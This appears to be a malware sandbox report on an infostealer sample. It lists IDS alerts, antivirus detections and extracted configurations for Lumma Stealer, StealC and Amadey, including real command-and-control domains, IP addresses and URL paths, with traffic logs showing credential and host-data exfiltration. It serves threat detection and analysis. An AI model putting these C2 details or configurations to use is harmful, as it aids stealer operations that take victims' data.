2024-10-24T04:02:24.542449+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	55394	1.1.1.1	53	UDP
2024-10-24T04:02:59.755266+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	55375	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.852412+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	56595	1.1.1.1	53	UDP
2024-10-24T04:02:08.200416+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	54703	1.1.1.1	53	UDP
2024-10-24T04:02:24.475174+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	62475	1.1.1.1	53	UDP
2024-10-24T04:02:59.689684+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	53731	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.891673+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	65398	1.1.1.1	53	UDP
2024-10-24T04:02:08.233393+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	64390	1.1.1.1	53	UDP
2024-10-24T04:02:24.513629+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	53075	1.1.1.1	53	UDP
2024-10-24T04:02:59.729634+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	55742	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.879657+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	49815	1.1.1.1	53	UDP
2024-10-24T04:02:08.223181+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	54108	1.1.1.1	53	UDP
2024-10-24T04:02:24.501221+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	63021	1.1.1.1	53	UDP
2024-10-24T04:02:59.718063+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	55751	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.949282+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	64796	1.1.1.1	53	UDP
2024-10-24T04:02:08.286903+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	53237	1.1.1.1	53	UDP
2024-10-24T04:02:24.565184+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	62175	1.1.1.1	53	UDP
2024-10-24T04:02:59.784176+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	62275	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.867249+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	50494	1.1.1.1	53	UDP
2024-10-24T04:02:08.211259+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	59233	1.1.1.1	53	UDP
2024-10-24T04:02:24.486989+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	59413	1.1.1.1	53	UDP
2024-10-24T04:02:59.704652+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	63867	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.937551+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	51406	1.1.1.1	53	UDP
2024-10-24T04:02:08.276030+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	55001	1.1.1.1	53	UDP
2024-10-24T04:02:24.554395+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	52080	1.1.1.1	53	UDP
2024-10-24T04:02:59.768282+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	50193	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.916704+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	53069	1.1.1.1	53	UDP
2024-10-24T04:02:08.246393+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	57591	1.1.1.1	53	UDP
2024-10-24T04:02:24.525222+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	60661	1.1.1.1	53	UDP
2024-10-24T04:02:59.741926+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	52186	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:37.436807+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49800	104.21.53.8	443	TCP
2024-10-24T04:02:30.761341+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50008	104.21.53.8	443	TCP
2024-10-24T04:03:11.770115+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50091	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:54.327133+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49895	185.215.113.37	80	TCP
2024-10-24T04:02:19.608572+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49992	185.215.113.37	80	TCP
2024-10-24T04:02:27.179915+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49999	185.215.113.37	80	TCP
2024-10-24T04:02:36.373913+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50029	185.215.113.37	80	TCP
2024-10-24T04:02:49.105151+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50043	185.215.113.37	80	TCP
2024-10-24T04:02:58.150664+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50047	185.215.113.37	80	TCP
2024-10-24T04:03:07.814061+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50082	185.215.113.37	80	TCP
2024-10-24T04:03:23.343757+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50126	185.215.113.37	80	TCP
2024-10-24T04:03:29.949450+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50137	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:56.711448+0200	2856147	1	A Network Trojan was detected	192.168.2.7	49911	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:02:08.655783+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49922	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:02:00.090604+0200	2803305	3	Unknown Traffic	192.168.2.7	49930	185.215.113.16	80	TCP
2024-10-24T04:02:10.499146+0200	2803305	3	Unknown Traffic	192.168.2.7	49990	185.215.113.16	80	TCP
2024-10-24T04:02:19.671053+0200	2803305	3	Unknown Traffic	192.168.2.7	49993	185.215.113.16	80	TCP
2024-10-24T04:02:24.799900+0200	2803305	3	Unknown Traffic	192.168.2.7	49995	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:02:40.295676+0200	2843864	1	A Network Trojan was detected	192.168.2.7	50036	104.21.53.8	443	TCP
2024-10-24T04:03:11.770115+0200	2843864	1	A Network Trojan was detected	192.168.2.7	50091	104.21.53.8	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:29.494934+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49746	104.102.49.254	443	TCP
2024-10-24T04:02:09.786708+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49981	104.102.49.254	443	TCP
2024-10-24T04:02:26.138216+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49996	104.102.49.254	443	TCP
2024-10-24T04:03:01.646387+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	50049	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000009.00000002.1769530723.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 14.2.bd214fbd32.exe.50000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 8138ba21a1.exe.2332.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["spirittunek.store", "studennotediw.store", "dissapoiznw.store", "mobbipenju.store", "clearancek.site", "bathdoomgaz.store", "eaglepawnoy.store", "licendfilteo.site"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 52%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50146 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 3BW8PCDTI0L77ZRRJ1.exe, 00000006.00000003.1646138104.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, 3BW8PCDTI0L77ZRRJ1.exe, 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Directory queried: number of queries: 1420

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:55158 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:65398 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:53069 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:49815 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:56595 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:51406 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:50494 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:64796 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49895 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49911 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:59233 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:54108 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:54703 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:57591 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:53353 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:53237 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:55001 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49985 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49991 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49992 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:64390 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:62475 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:53075 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:62175 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:63021 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:60661 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:55394 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:52080 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49999 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50006 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50029 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:59413 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49922
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50043 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.7:55751 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.7:53731 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.7:52186 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.7:62275 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50047 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.7:50193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.7:55375 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.7:55742 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.7:63867 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50082 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50126 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50137 -> 185.215.113.37:80
